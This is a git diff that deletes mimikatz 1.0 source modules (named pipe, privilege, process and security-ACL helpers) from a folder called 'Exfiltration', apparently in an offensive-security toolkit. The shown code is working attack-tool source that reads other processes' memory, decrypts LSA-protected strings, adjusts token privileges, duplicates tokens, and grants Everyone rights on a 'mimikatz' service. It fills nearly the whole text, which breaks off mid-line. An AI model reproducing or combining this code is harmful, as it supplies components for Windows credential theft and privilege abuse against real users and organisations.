a/Exfiltration/mimikatz-1.0/modules/mod_pipe.h +++ /dev/null @@ -1,29 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" - -class mod_pipe -{ -private: - HANDLE hPipe; - wstring pipePath; - -public: - mod_pipe(wstring pipeName = L"mimikatz\\kiwi", wstring serveur = L"."); - virtual ~mod_pipe(void); - - bool closePipe(); - - bool readFromPipe(wstring &laReponse); - bool writeToPipe(const wstring &leMessage); - - bool createServer(); - bool createClient(); - - bool isConnected(); -}; - diff --git a/Exfiltration/mimikatz-1.0/modules/mod_privilege.cpp b/Exfiltration/mimikatz-1.0/modules/mod_privilege.cpp deleted file mode 100644 index 34324b6..0000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_privilege.cpp +++ /dev/null @@ -1,95 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mod_privilege.h" - -bool mod_privilege::getName(PLUID idPrivilege, wstring * privilegeName) -{ - bool reussite = false; - DWORD tailleRequise = 0; - - if(!LookupPrivilegeName(NULL, idPrivilege, NULL, &tailleRequise) && GetLastError() == ERROR_INSUFFICIENT_BUFFER) - { - wchar_t * monBuffer = new wchar_t[tailleRequise]; - if(reussite = (LookupPrivilegeName(NULL, idPrivilege, monBuffer, &tailleRequise) != 0)) - { - privilegeName->assign(monBuffer); - } - delete[] monBuffer; - } - return reussite; -} - -bool mod_privilege::getValue(wstring * privilegeName, PLUID idPrivilege) -{ - return (LookupPrivilegeValue(NULL, privilegeName->c_str(), idPrivilege) != 0); -} - -bool mod_privilege::get(vector> *maPrivilegesvector, HANDLE handleProcess) -{ - bool reussite = false; - - HANDLE hToken = INVALID_HANDLE_VALUE; - if(OpenProcessToken((handleProcess == INVALID_HANDLE_VALUE ? GetCurrentProcess() : handleProcess), TOKEN_QUERY /*| STANDARD_RIGHTS_READ*/, &hToken)) - { - DWORD tailleRequise = 0; - BYTE * monBuffer; - - if(!GetTokenInformation(hToken, TokenPrivileges, NULL, 0, &tailleRequise) && GetLastError() == ERROR_INSUFFICIENT_BUFFER) - { - monBuffer = new BYTE[tailleRequise]; - if(reussite = (GetTokenInformation(hToken, TokenPrivileges, monBuffer, tailleRequise, &tailleRequise) != 0)) - { - TOKEN_PRIVILEGES * mesPrivileges = reinterpret_cast(monBuffer); - for(DWORD i = 0; i < mesPrivileges->PrivilegeCount; i++) - { - wstring * monPrivilege = new wstring(); - if(getName(&(mesPrivileges->Privileges[i].Luid), monPrivilege)) - { - maPrivilegesvector->push_back(make_pair(*monPrivilege, mesPrivileges->Privileges[i].Attributes)); - } - delete monPrivilege; - } - } - delete[] monBuffer; - } - } - return reussite; -} - -bool mod_privilege::set(vector> *maPrivilegesvector, HANDLE handleProcess) -{ - bool reussite = false; - - BYTE * monBuffer = new BYTE[FIELD_OFFSET(TOKEN_PRIVILEGES, Privileges[maPrivilegesvector->size()])]; - TOKEN_PRIVILEGES * mesPrivileges = reinterpret_cast(monBuffer); - mesPrivileges->PrivilegeCount = static_cast(maPrivilegesvector->size()); - - unsigned int i; - vector>::iterator monPrivilege; - for(monPrivilege = maPrivilegesvector->begin(), i = 0; (monPrivilege != maPrivilegesvector->end()) && ( i < mesPrivileges->PrivilegeCount) ; monPrivilege++, i++) - { - if(reussite = getValue(&(monPrivilege->first), &(mesPrivileges->Privileges[i].Luid))) - { - mesPrivileges->Privileges[i].Attributes = monPrivilege->second; - } - else - { - break; - } - } - - if(reussite) - { - HANDLE hToken = INVALID_HANDLE_VALUE; - if(reussite = (OpenProcessToken((handleProcess == INVALID_HANDLE_VALUE ? GetCurrentProcess() : handleProcess), /*TOKEN_QUERY |*/ TOKEN_ADJUST_PRIVILEGES, &hToken) != 0)) - { - reussite = (AdjustTokenPrivileges(hToken, false, reinterpret_cast(mesPrivileges), 0, NULL, NULL) != 0) && (GetLastError() == ERROR_SUCCESS); - } - } - - delete monBuffer; - return reussite; -} diff --git a/Exfiltration/mimikatz-1.0/modules/mod_privilege.h b/Exfiltration/mimikatz-1.0/modules/mod_privilege.h deleted file mode 100644 index 2d2652f..0000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_privilege.h +++ /dev/null @@ -1,18 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" - -class mod_privilege -{ -private: - static bool getName(PLUID idPrivilege, wstring * privilegeName); - static bool getValue(wstring * privilegeName, PLUID idPrivilege); - -public: - static bool get(vector> *maPrivilegesvector, HANDLE handleProcess = INVALID_HANDLE_VALUE); - static bool set(vector> *maPrivilegesvector, HANDLE handleProcess = INVALID_HANDLE_VALUE); -}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_process.cpp b/Exfiltration/mimikatz-1.0/modules/mod_process.cpp deleted file mode 100644 index d000f41..0000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_process.cpp +++ /dev/null @@ -1,473 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mod_process.h" - -bool mod_process::getList(vector * maProcessesvector, wstring * processName) -{ - HANDLE hProcessesSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); - if(hProcessesSnapshot != INVALID_HANDLE_VALUE) - { - PROCESSENTRY32 monProcessus; - monProcessus.dwSize = sizeof(PROCESSENTRY32); - - if(Process32First(hProcessesSnapshot, &monProcessus)) - { - do - { - if(!processName || (_wcsicmp(processName->c_str(), monProcessus.szExeFile) == 0)) - { - KIWI_PROCESSENTRY32 monProcessK = { - monProcessus.dwSize, - monProcessus.cntUsage, - monProcessus.th32ProcessID, - monProcessus.th32DefaultHeapID, - monProcessus.th32ModuleID, - monProcessus.cntThreads, - monProcessus.th32ParentProcessID, - monProcessus.pcPriClassBase, - monProcessus.dwFlags, - monProcessus.szExeFile - }; - - maProcessesvector->push_back(monProcessK); - } - } while(Process32Next(hProcessesSnapshot, &monProcessus)); - } - CloseHandle(hProcessesSnapshot); - return true; - } - else - { - return false; - } -} - -bool mod_process::getUniqueForName(KIWI_PROCESSENTRY32 * monProcess, wstring * processName) -{ - bool reussite = false; - - vector * mesProcesses = new vector(); - - if(getList(mesProcesses, processName)) - { - if(reussite = (mesProcesses->size() == 1)) - { - *monProcess = mesProcesses->front(); - } - } - delete mesProcesses; - return reussite; -} - -bool mod_process::getUniqueModuleForName(KIWI_MODULEENTRY32 * monModule, wstring * moduleName, DWORD * processId) -{ - bool reussite = false; - - vector * monVecteurDeModule = new vector(); - if(mod_process::getModulesListForProcessId(monVecteurDeModule, processId)) - { - if(!moduleName) - { - *monModule = *(monVecteurDeModule->begin()); - reussite = true; - } - else - { - for(vector::iterator leModule = monVecteurDeModule->begin(); leModule != monVecteurDeModule->end(); leModule++) - { - if(_wcsicmp(leModule->szModule.c_str(), moduleName->c_str()) == 0) - { - *monModule = *leModule; - reussite = true; - break; - } - } - } - } - delete monVecteurDeModule; - - return reussite; -} - -bool mod_process::getModulesListForProcessId(vector * maModulevector, DWORD * processId) -{ - HANDLE hModuleSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32, (processId ? *processId : 0)); - - if(hModuleSnapshot != INVALID_HANDLE_VALUE) - { - MODULEENTRY32 monModule; - monModule.dwSize = sizeof(MODULEENTRY32); - - if(Module32First(hModuleSnapshot, &monModule)) - { - do - { - KIWI_MODULEENTRY32 monModuleK = { - monModule.dwSize, - monModule.th32ModuleID, - monModule.th32ProcessID, - monModule.GlblcntUsage, - monModule.ProccntUsage, - monModule.modBaseAddr, - monModule.modBaseSize, - monModule.hModule, - monModule.szModule, - monModule.szExePath - }; - maModulevector->push_back(monModuleK); - } while(Module32Next(hModuleSnapshot, &monModule)); - } - CloseHandle(hModuleSnapshot); - return true; - } - else - { - return false; - } -} - -bool mod_process::start(wstring * maCommandLine, PROCESS_INFORMATION * mesInfosProcess, bool paused, bool aUsurper, HANDLE leToken) -{ - bool reussite = false; - RtlZeroMemory(mesInfosProcess, sizeof(PROCESS_INFORMATION)); - STARTUPINFO mesInfosDemarrer; - RtlZeroMemory(&mesInfosDemarrer, sizeof(STARTUPINFO)); - mesInfosDemarrer.cb = sizeof(STARTUPINFO); - - wchar_t * commandLine = new wchar_t[maCommandLine->size() + 1]; - maCommandLine->_Copy_s(commandLine, maCommandLine->size(), maCommandLine->size()); - commandLine[maCommandLine->size()] = L'\0'; - - DWORD creationFlag = CREATE_NEW_CONSOLE | (paused ? CREATE_SUSPENDED : NULL); - - if(leToken) - reussite = CreateProcessAsUser(leToken, NULL, commandLine, NULL, NULL, FALSE, creationFlag, NULL, NULL, &mesInfosDemarrer, mesInfosProcess) != 0; - else if(aUsurper) - reussite = CreateProcessWithLogonW(L"mimikatzU", L"mimikatzD", L"mimikatzP", LOGON_NETCREDENTIALS_ONLY, NULL, commandLine, creationFlag, NULL, NULL, &mesInfosDemarrer, mesInfosProcess) != 0; - else - reussite = CreateProcess(NULL, commandLine, NULL, NULL, FALSE, creationFlag, NULL, NULL, &mesInfosDemarrer, mesInfosProcess) != 0; - - delete[] commandLine; - return reussite; -} - -bool mod_process::suspend(DWORD & processId) -{ - bool reussite = false; - - if(PNT_SUSPEND_PROCESS NtSuspendProcess = reinterpret_cast(GetProcAddress(GetModuleHandle(L"ntdll"), "NtSuspendProcess"))) - { - HANDLE monHandle = OpenProcess(PROCESS_SUSPEND_RESUME, false, processId); - if(reussite = (monHandle && monHandle != INVALID_HANDLE_VALUE)) - { - reussite = NT_SUCCESS(NtSuspendProcess(monHandle)); - CloseHandle(monHandle); - } - } - return reussite; -} - -bool mod_process::resume(DWORD & processId) -{ - bool reussite = false; - - if(PNT_RESUME_PROCESS NtResumeProcess = reinterpret_cast(GetProcAddress(GetModuleHandle(L"ntdll"), "NtResumeProcess"))) - { - HANDLE monHandle = OpenProcess(PROCESS_SUSPEND_RESUME, false, processId); - if(reussite = (monHandle && monHandle != INVALID_HANDLE_VALUE)) - { - reussite = NT_SUCCESS(NtResumeProcess(monHandle)); - CloseHandle(monHandle); - } - } - return reussite; -} - -bool mod_process::stop(DWORD & processId, DWORD exitCode) -{ - bool reussite = false; - - HANDLE monHandle = OpenProcess(PROCESS_TERMINATE, false, processId); - if(reussite = (monHandle && monHandle != INVALID_HANDLE_VALUE)) - { - reussite = (TerminateProcess(monHandle, exitCode) != 0); - CloseHandle(monHandle); - } - return reussite; -} - -bool mod_process::debug(DWORD & processId) -{ - return (DebugActiveProcess(processId) != 0); -} - -bool mod_process::getProcessBasicInformation(PROCESS_BASIC_INFORMATION * mesInfos, HANDLE processHandle) -{ - bool reussite = false; - - if(processHandle == INVALID_HANDLE_VALUE) - processHandle = GetCurrentProcess(); - - if(PNT_QUERY_INFORMATION_PROCESS NtQueryInformationProcess = reinterpret_cast(GetProcAddress(GetModuleHandle(L"ntdll"), "NtQueryInformationProcess"))) - { - ULONG sizeReturn; - reussite = NT_SUCCESS(NtQueryInformationProcess(processHandle, ProcessBasicInformation, mesInfos, sizeof(PROCESS_BASIC_INFORMATION), &sizeReturn)) && (sizeReturn == sizeof(PROCESS_BASIC_INFORMATION)); - } - return reussite; -} - -bool mod_process::getAuthentificationIdFromProcessId(DWORD & processId, LUID & AuthentificationId) -{ - bool reussite = false; - - HANDLE handleProcess = OpenProcess(PROCESS_QUERY_INFORMATION , false, processId); - if(handleProcess && handleProcess != INVALID_HANDLE_VALUE) - { - HANDLE handleProc; - if(OpenProcessToken(handleProcess, TOKEN_READ, &handleProc) != 0) - { - DWORD ddNeededSize; - TOKEN_STATISTICS tokenStats; - - if(reussite = (GetTokenInformation(handleProc, TokenStatistics, &tokenStats, sizeof(tokenStats), &ddNeededSize) != 0)) - { - AuthentificationId = tokenStats.AuthenticationId; - } - CloseHandle(handleProc); - } - CloseHandle(handleProcess); - } - - return reussite; -} - -bool mod_process::getPeb(PEB * peb, HANDLE processHandle) -{ - bool reussite = false; - PROCESS_BASIC_INFORMATION * mesInfos = new PROCESS_BASIC_INFORMATION(); - if(getProcessBasicInformation(mesInfos, processHandle)) - { - reussite = mod_memory::readMemory(mesInfos->PebBaseAddress, peb, sizeof(PEB), processHandle); - } - delete mesInfos; - return reussite; -} - -bool mod_process::getIAT(PBYTE ptrBaseAddr, vector>> * monIAT, HANDLE handleProcess) -{ - bool reussite = false; - - BYTE * baseAddr = ptrBaseAddr; - - BYTE * ayIMAGE_DOS_HEADER = new BYTE[sizeof(IMAGE_DOS_HEADER)]; - if(mod_memory::readMemory(baseAddr, ayIMAGE_DOS_HEADER, sizeof(IMAGE_DOS_HEADER), handleProcess)) - { - PIMAGE_DOS_HEADER structDOSHeader = reinterpret_cast(ayIMAGE_DOS_HEADER); - if(!IsBadReadPtr(structDOSHeader, sizeof(IMAGE_DOS_HEADER)) && structDOSHeader->e_magic == IMAGE_DOS_SIGNATURE) - { - BYTE * ayIMAGE_NT_HEADERS = new BYTE[sizeof(IMAGE_NT_HEADERS)]; - if(mod_memory::readMemory(baseAddr + structDOSHeader->e_lfanew, ayIMAGE_NT_HEADERS, sizeof(IMAGE_NT_HEADERS), handleProcess)) - { - PIMAGE_NT_HEADERS structPEHeader = reinterpret_cast(ayIMAGE_NT_HEADERS); - if(!IsBadReadPtr(structPEHeader, sizeof(IMAGE_NT_HEADERS)) && structPEHeader->Signature == IMAGE_NT_SIGNATURE) - { - if(structPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress != NULL && structPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size > 0) - { - BYTE * ayIMAGE_IMPORT_DESCRIPTOR = new BYTE[structPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size]; - if(mod_memory::readMemory(baseAddr + structPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress, ayIMAGE_IMPORT_DESCRIPTOR, structPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size, handleProcess)) - { - PIMAGE_IMPORT_DESCRIPTOR structImportDesc = reinterpret_cast(ayIMAGE_IMPORT_DESCRIPTOR); - if(reussite = !IsBadReadPtr(structImportDesc, sizeof(IMAGE_IMPORT_DESCRIPTOR))) - { - while(structImportDesc->Characteristics) - { - DWORD i = 0; - - BYTE * ayIMAGE_THUNK_DATA_HintName = new BYTE[sizeof(IMAGE_THUNK_DATA)]; - BYTE * ayIMAGE_THUNK_DATA_IAT = new BYTE[sizeof(IMAGE_THUNK_DATA)]; - - vector mesImports; - - for(;;) - { - if( - mod_memory::readMemory(baseAddr + structImportDesc->OriginalFirstThunk + i*sizeof(IMAGE_THUNK_DATA), ayIMAGE_THUNK_DATA_HintName, sizeof(IMAGE_THUNK_DATA), handleProcess) - && - mod_memory::readMemory(baseAddr + structImportDesc->FirstThunk + i*sizeof(IMAGE_THUNK_DATA), ayIMAGE_THUNK_DATA_IAT, sizeof(IMAGE_THUNK_DATA), handleProcess) - ) - { - PIMAGE_THUNK_DATA HintNameArray = reinterpret_cast(ayIMAGE_THUNK_DATA_HintName); - PIMAGE_THUNK_DATA IATArray = reinterpret_cast(ayIMAGE_THUNK_DATA_IAT); - - if(HintNameArray->u1.Function) - { - KIWI_IAT_MODULE imageIAT = { - baseAddr + structImportDesc->FirstThunk + i*sizeof(IMAGE_THUNK_DATA) + FIELD_OFFSET(IMAGE_THUNK_DATA, u1.Function), - reinterpret_cast(IATArray->u1.Function), - 0, - string() - }; - - if(HintNameArray->u1.Ordinal & IMAGE_ORDINAL_FLAG) - { - imageIAT.Ordinal = IMAGE_ORDINAL(HintNameArray->u1.Ordinal); - } - else - { - BYTE monTab[] = {0}; - long offsetToNull; - if(mod_memory::searchMemory(baseAddr + HintNameArray->u1.AddressOfData + FIELD_OFFSET(IMAGE_IMPORT_BY_NAME, Name), 255, monTab, &offsetToNull, sizeof(monTab), true, handleProcess)) - { - BYTE * ayIMAGE_IMPORT_BY_NAME = new BYTE[sizeof(IMAGE_IMPORT_BY_NAME) + offsetToNull]; - if(mod_memory::readMemory(baseAddr + HintNameArray->u1.AddressOfData, ayIMAGE_IMPORT_BY_NAME, sizeof(IMAGE_IMPORT_BY_NAME) + offsetToNull, handleProcess)) - { - PIMAGE_IMPORT_BY_NAME nameImg = reinterpret_cast(ayIMAGE_IMPORT_BY_NAME); - imageIAT.funcName = string(reinterpret_cast(nameImg->Name)); - } - delete [] ayIMAGE_IMPORT_BY_NAME; - } - } - - mesImports.push_back(imageIAT); - i++; - } - else break; - } - else break; - } - - delete[] ayIMAGE_THUNK_DATA_IAT; - delete[] ayIMAGE_THUNK_DATA_HintName; - - BYTE monTab[] = {0}; - long offsetToNull; - - if(mod_memory::searchMemory(baseAddr + structImportDesc->Name, 255, monTab, &offsetToNull, sizeof(monTab), true, handleProcess)) - { - char * maLib = new char[offsetToNull+1]; - if(mod_memory::readMemory(baseAddr + structImportDesc->Name, maLib, offsetToNull+1, handleProcess)) - { - monIAT->push_back(make_pair(string(maLib), mesImports)); - } - delete [] maLib; - } - - structImportDesc++; - } - } - } - delete[] ayIMAGE_IMPORT_DESCRIPTOR; - } - } - } - delete[] ayIMAGE_NT_HEADERS; - } - } - delete[] ayIMAGE_DOS_HEADER; - - return reussite; -} - -bool mod_process::getProcessEntryFromProcessId(DWORD processId, KIWI_PROCESSENTRY32 * processKiwi, vector * mesProcess) -{ - bool reussite = false; - bool tabOk = false; - - vector * monTab; - - if(!mesProcess) - { - monTab = new vector(); - tabOk = mod_process::getList(monTab); - } - else - { - monTab = mesProcess; - } - - if(mesProcess || tabOk) - { - for(vector::iterator monProcess = monTab->begin(); monProcess != monTab->end(); monProcess++) - { - if(reussite = (monProcess->th32ProcessID == processId)) - { - *processKiwi = *monProcess; - break; - } - } - } - - if(!mesProcess) - { - delete monTab; - } - - return reussite; -} - -bool mod_process::getVeryBasicModulesListForProcess(vector * monModuleVector, HANDLE processHandle) -{ - bool reussite = false; - PEB * monPeb = new PEB(); - if(getPeb(monPeb, processHandle)) - { - PEB_LDR_DATA * monLoader = new PEB_LDR_DATA(); - if(mod_memory::readMemory(monPeb->LoaderData, monLoader, sizeof(PEB_LDR_DATA), processHandle)) - { - PBYTE aLire, fin; - LDR_DATA_TABLE_ENTRY monEntry; - for( - aLire = PBYTE(monLoader->InMemoryOrderModulevector.Flink) - FIELD_OFFSET(LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks), - fin = (PBYTE) (monPeb->LoaderData) + FIELD_OFFSET(PEB_LDR_DATA, InLoadOrderModulevector); - aLire != fin; - aLire = (PBYTE) monEntry.InMemoryOrderLinks.Flink - FIELD_OFFSET(LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks) - ) - { - if(reussite = mod_memory::readMemory(aLire, &monEntry, sizeof(monEntry), processHandle)) - { - KIWI_VERY_BASIC_MODULEENTRY monModule = { - reinterpret_cast(monEntry.DllBase), - monEntry.SizeOfImage, - getUnicodeStringOfProcess(&monEntry.BaseDllName, processHandle) - }; - monModuleVector->push_back(monModule); - } - } - } - delete monLoader; - } - delete monPeb; - return reussite; -} - -wstring mod_process::getUnicodeStringOfProcess(UNICODE_STRING * ptrString, HANDLE process, PLSA_PROTECT_MEMORY unProtectFunction) -{ - wstring maChaine; - BYTE * monBuffer = NULL; - if(getUnicodeStringOfProcess(ptrString, &monBuffer, process, unProtectFunction)) - { - maChaine.assign(mod_text::stringOrHex(monBuffer, ptrString->Length)); - } - if(monBuffer) - delete[] monBuffer; - return maChaine; -} - -bool mod_process::getUnicodeStringOfProcess(UNICODE_STRING * ptrString, BYTE ** monBuffer, HANDLE process, PLSA_PROTECT_MEMORY unProtectFunction) -{ - bool resultat = false; - - if(ptrString->Buffer && (ptrString->Length > 0)) - { - *monBuffer = new BYTE[ptrString->MaximumLength]; - if(resultat = mod_memory::readMemory(ptrString->Buffer, *monBuffer, ptrString->MaximumLength, process)) - { - if(unProtectFunction) - unProtectFunction(*monBuffer, ptrString->MaximumLength); - } - } - return resultat; -} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/modules/mod_process.h b/Exfiltration/mimikatz-1.0/modules/mod_process.h deleted file mode 100644 index a7acf18..0000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_process.h +++ /dev/null @@ -1,84 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" -#include "secpkg.h" -#include "mod_ntddk.h" -#include "mod_memory.h" -#include "mod_text.h" -#include -#include - -class mod_process -{ -public: - typedef struct _KIWI_IAT_MODULE - { - PVOID ptrToFunc; - PVOID ptrFunc; - WORD Ordinal; - string funcName; - } KIWI_IAT_MODULE, *PKIWI_IAT_MODULE; - - typedef struct _KIWI_PROCESSENTRY32 - { - DWORD dwSize; - DWORD cntUsage; - DWORD th32ProcessID; // this process - ULONG_PTR th32DefaultHeapID; - DWORD th32ModuleID; // associated exe - DWORD cntThreads; - DWORD th32ParentProcessID; // this process's parent process - LONG pcPriClassBase; // Base priority of process's threads - DWORD dwFlags; - wstring szExeFile; // Path - } KIWI_PROCESSENTRY32, *PKIWI_PROCESSENTRY32; - - typedef struct _KIWI_MODULEENTRY32 - { - DWORD dwSize; - DWORD th32ModuleID; // This module - DWORD th32ProcessID; // owning process - DWORD GlblcntUsage; // Global usage count on the module - DWORD ProccntUsage; // Module usage count in th32ProcessID's context - BYTE * modBaseAddr; // Base address of module in th32ProcessID's context - DWORD modBaseSize; // Size in bytes of module starting at modBaseAddr - HMODULE hModule; // The hModule of this module in th32ProcessID's context - wstring szModule; - wstring szExePath; - } KIWI_MODULEENTRY32, *PKIWI_MODULEENTRY32; - - typedef struct _KIWI_VERY_BASIC_MODULEENTRY - { - BYTE * modBaseAddr; // Base address of module in th32ProcessID's context - DWORD modBaseSize; // Size in bytes of module starting at modBaseAddr - wstring szModule; - } KIWI_VERY_BASIC_MODULEENTRY, *PKIWI_VERY_BASIC_MODULEENTRY; - - static bool getList(vector * maProcessesvector, wstring * processName = NULL); - static bool getUniqueForName(KIWI_PROCESSENTRY32 * monProcess, wstring * processName); - - static bool start(wstring * maCommandLine, PROCESS_INFORMATION * mesInfosProcess, bool paused = false, bool aUsurper = false, HANDLE leToken = NULL); - static bool suspend(DWORD & processId); - static bool resume(DWORD & processId); - static bool stop(DWORD & processId, DWORD exitCode = 0); - - static bool debug(DWORD & processId); - - static bool getAuthentificationIdFromProcessId(DWORD & processId, LUID & AuthentificationId); - static bool getModulesListForProcessId(vector * maModulevector, DWORD * processId = NULL); - static bool getVeryBasicModulesListForProcess(vector * monModuleVector, HANDLE processHandle = INVALID_HANDLE_VALUE); - static bool getUniqueModuleForName(KIWI_MODULEENTRY32 * monModule, wstring * moduleName = NULL, DWORD * processId = NULL); - - static bool getProcessEntryFromProcessId(DWORD processId, KIWI_PROCESSENTRY32 * processKiwi, vector * mesProcess = NULL); - - static bool getProcessBasicInformation(PROCESS_BASIC_INFORMATION * mesInfos, HANDLE processHandle = INVALID_HANDLE_VALUE); - static bool getPeb(PEB * peb, HANDLE processHandle = INVALID_HANDLE_VALUE); - static bool getIAT(PBYTE ptrBaseAddr, vector>> * monIAT, HANDLE handleProcess = INVALID_HANDLE_VALUE); - - static wstring getUnicodeStringOfProcess(UNICODE_STRING * ptrString, HANDLE process = INVALID_HANDLE_VALUE, PLSA_PROTECT_MEMORY unProtectFunction = NULL); - static bool getUnicodeStringOfProcess(UNICODE_STRING * ptrString, BYTE ** monBuffer, HANDLE process, PLSA_PROTECT_MEMORY unProtectFunction = NULL); -}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_secacl.cpp b/Exfiltration/mimikatz-1.0/modules/mod_secacl.cpp deleted file mode 100644 index c14632c..0000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_secacl.cpp +++ /dev/null @@ -1,162 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mod_secacl.h" - -bool mod_secacl::nullSdToHandle(PHANDLE monHandle, SE_OBJECT_TYPE monType) -{ - PSECURITY_DESCRIPTOR newSD = NULL; - ULONG laTaille; - bool succes = false; - - if(BuildSecurityDescriptor(NULL, NULL, 0, NULL, 0, NULL, NULL, &laTaille, &newSD) == ERROR_SUCCESS) - { - switch(monType) - { - case SE_KERNEL_OBJECT: - succes = SetKernelObjectSecurity(*monHandle, DACL_SECURITY_INFORMATION, newSD) != 0; - break; - case SE_SERVICE: - succes = SetServiceObjectSecurity(*reinterpret_cast(monHandle), DACL_SECURITY_INFORMATION, newSD) != 0; - break; - } - LocalFree(newSD); - } - - return succes; -} - -bool mod_secacl::addWorldToMimikatz(SC_HANDLE * monHandle) -{ - bool reussite = false; - DWORD dwSizeNeeded = 0; - SECURITY_DESCRIPTOR monSd; - if((QueryServiceObjectSecurity(*monHandle, DACL_SECURITY_INFORMATION, &monSd, 0, &dwSizeNeeded) == 0) && (GetLastError() == ERROR_INSUFFICIENT_BUFFER)) - { - PSECURITY_DESCRIPTOR oldSd = new BYTE[dwSizeNeeded]; - if(QueryServiceObjectSecurity(*monHandle, DACL_SECURITY_INFORMATION, oldSd, dwSizeNeeded, &dwSizeNeeded)) - { - SID_IDENTIFIER_AUTHORITY SIDAuthWorld = SECURITY_WORLD_SID_AUTHORITY; - PSID pEveryoneSID = NULL; - if(AllocateAndInitializeSid(&SIDAuthWorld, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, &pEveryoneSID)) - { - EXPLICIT_ACCESS ForEveryOne; - RtlZeroMemory(&ForEveryOne, sizeof(EXPLICIT_ACCESS)); - ForEveryOne.grfAccessMode = SET_ACCESS; - ForEveryOne.grfInheritance = NO_INHERITANCE; - ForEveryOne.grfAccessPermissions = SERVICE_QUERY_STATUS | SERVICE_QUERY_CONFIG | SERVICE_INTERROGATE | SERVICE_ENUMERATE_DEPENDENTS | SERVICE_PAUSE_CONTINUE | SERVICE_START | SERVICE_STOP | SERVICE_USER_DEFINED_CONTROL | READ_CONTROL ; - ForEveryOne.Trustee.TrusteeForm = TRUSTEE_IS_SID; - ForEveryOne.Trustee.TrusteeType = TRUSTEE_IS_WELL_KNOWN_GROUP; - ForEveryOne.Trustee.ptstrName = reinterpret_cast(pEveryoneSID); - - PSECURITY_DESCRIPTOR newSd = NULL; - DWORD laTaille; - if(BuildSecurityDescriptor(NULL, NULL, 1, &ForEveryOne, 0, NULL, oldSd, &laTaille, &newSd) == ERROR_SUCCESS) - { - reussite = SetServiceObjectSecurity(*monHandle, DACL_SECURITY_INFORMATION, newSd) != 0; - LocalFree(newSd); - } - FreeSid(pEveryoneSID); - } - } - delete [] oldSd; - } - return reussite; -} - -bool mod_secacl::sidToStrSid(PSID Sid, wstring * strSid) -{ - bool reussite = false; - - wchar_t * szSid; - if(reussite = ConvertSidToStringSid(Sid, &szSid) != 0) - { - strSid->assign(szSid); - LocalFree(szSid); - } - return reussite; -} - -bool mod_secacl::sidToName(PSID Sid, wstring * strName, wstring * domainName, wstring * systemName, SID_NAME_USE * usage) -{ - bool reussite = false; - - DWORD dwSizeName = 0; - DWORD dwSizeDomain = 0; - SID_NAME_USE nameUse; - - if(!LookupAccountSid((systemName ? systemName->c_str() : NULL), Sid, NULL, &dwSizeName, NULL, &dwSizeDomain, &nameUse) && (GetLastError() == ERROR_INSUFFICIENT_BUFFER)) - { - wchar_t * monNom = new wchar_t[dwSizeName]; - wchar_t * monDomain = new wchar_t[dwSizeDomain]; - if(reussite = (LookupAccountSid((systemName ? systemName->c_str() : NULL), Sid, monNom, &dwSizeName, monDomain, &dwSizeDomain, &nameUse)) != 0) - { - strName->assign(monNom); - if(domainName) - domainName->assign(monDomain); - - if(usage) - *usage = nameUse; - } - delete[] monDomain; - delete[] monNom; - } - - return reussite; -} - -bool mod_secacl::simpleSidToString(PSID Sid, wstring * String) -{ - wstring userName; - wstring domaineName; - String->clear(); - - if(Sid) - { - if(mod_secacl::sidToName(Sid, &userName, &domaineName)) - { - String->assign(domaineName); - String->push_back(L'\\'); - String->append(userName); - } - else - mod_secacl::sidToStrSid(Sid, String); - } - if(String->empty()) - String->assign(L"(null)"); - - return true; -} - -bool mod_secacl::tokenUser(HANDLE tokenHandle, wstring * strName, wstring * domainName, wstring * systemName, SID_NAME_USE * usage) -{ - bool reussite = false; - - DWORD szNeeded = 0; - if(!GetTokenInformation(tokenHandle, TokenUser, NULL, 0, &szNeeded) && (GetLastError() == ERROR_INSUFFICIENT_BUFFER)) - { - BYTE * mesDonnees = new BYTE[szNeeded]; - if(GetTokenInformation(tokenHandle, TokenUser, mesDonnees, szNeeded, &szNeeded)) - { - TOKEN_USER * monUser = reinterpret_cast(mesDonnees); - reussite = sidToName(monUser->User.Sid, strName, domainName, systemName, usage); - } - delete[] mesDonnees; - } - - return reussite; -} - -bool mod_secacl::exchangeDupToken(HANDLE * tokenHandle) -{ - bool reussite = false; - HANDLE secToken; - if(reussite = DuplicateTokenEx(*tokenHandle, MAXIMUM_ALLOWED, NULL, 